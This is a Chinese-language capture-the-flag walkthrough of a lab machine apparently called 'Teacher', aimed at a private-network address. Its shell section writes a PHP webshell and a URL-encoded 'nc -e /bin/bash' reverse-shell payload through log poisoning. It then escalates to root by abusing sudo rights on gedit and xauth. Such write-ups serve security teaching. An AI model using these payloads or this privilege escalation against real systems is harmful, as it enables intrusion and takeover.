信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- -Pn 192.168.122.194
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-09 08:49 EDT
Nmap scan report for 192.168.122.194
Host is up (0.00026s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.54 ((Debian))
MAC Address: 08:00:27:57:C6:76 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.94 seconds
路径扫描
[08:51:30] 200 - 12B - /access.php
[08:51:51] 200 - 25B - /log.php
[08:51:52] 200 - 208B - /manual/index.html
发现一个log.php,进去之后有一个rabbit.jpg,图片没发现藏什么东西,进入access.php,一片空白猜测需要参数,于是利用wfuzz模糊寻找一下参数
┌──(root㉿kali)-[~]
└─# wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc=404 --hh=12 -u 'http://192.168.122.194/access.php?FUZZ=test'
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.122.194/access.php?FUZZ=test
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000529: 200 0 L 2 W 16 Ch "id"
获取shell
发现两个入手点
http://192.168.122.194/log.php 这个页面会记录你的http://192.168.122.194/access.php?id=%3C?php%20system(%27id%27);?%3E 页面的内容,
就是你在access.php输入内容,log.php就会记录下来,于是,应该存在是rce漏洞,我们尝试写入rce,看能否被解析
发现确实能够被解析,于是反弹shell,想要更加明白的话可以这样做,现在access.php写入一句话木马,然后在log.php进行传参
http://10.0.2.11/access.php?id=<?php system($_GET[“cmd”]);?>
http://10.0.2.11/log.php?cmd=nc -e /bin/bash ip port
php rce:PHP RCE 备忘单 |漏洞利用说明 (hdks.org)
或者直接写入反弹shell
access.php:http://192.168.122.74/access.php?id=%3C?php%20system(%22nc%20-e%20/bin/bash%20192.168.122.205%201234%22);?%3E
log.php 刷新,获得shell
提权
进入shell发现一个pdf和一个usr,还有一个用户
usr:9cd1f0b79d9474714c5a29214ec839a6
pdf中隐藏了用户的密码,这个隐藏很有意思,我没有想到,但看wp时跟个感觉跟个小特务一样,非常有意思,他是根据上一页的压痕来找到的密码
密码:ThankYouTeachers
成功登录user:mrteacher
这里需要注意的就是,利用利用ssh直接+username@ip是可以登录上的,但无法使用后期提权的gedit,需要带有参数-v -X username@ip才能使用gedit,否则无法连接。
这是SSH(Secure Shell)命令的一部分,用于在进行远程登录时启用X11转发。让我来解释一下:
-v:这个选项是“verbose(冗长)”的缩写,它告诉SSH在执行过程中输出详细信息,有助于诊断连接问题。
-X:这个选项启用了X11转发,允许在远程系统上运行的程序将图形界面窗口显示到本地系统上。这意味着你可以在本地系统上看到远程系统上运行的图形化应用程序的界面。
然后开始经典提权步骤:
- sudo -l
Matching Defaults entries for mrteacher on Teacher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mrteacher may run the following commands on Teacher:
(ALL : ALL) NOPASSWD: /bin/gedit, /bin/xauth
很幸运,一下找到了
好像是利用cookie通过获取root的cookie,然后使用gedit打开就会打开root的目录
SSH 中的 X11 转发:由于身份验证错误,连接被拒绝 (ibm.com)
sudo /bin/xauth add $(xauth -f ~mrteacher/.Xauthority list | tail -1)
sudo /bin/gedit
成功拿到root:HappyBack2Sch00l
知识点
- /bin/gedit, /bin/xauth
- 这次的信息搜集很有意思,密码藏在图片的小解密里
- ssh的参数ssh -v -X ,因为我普通的连接无法打开gedit,反而需要这种方式,才能打开
- 关于本次靶场的gedit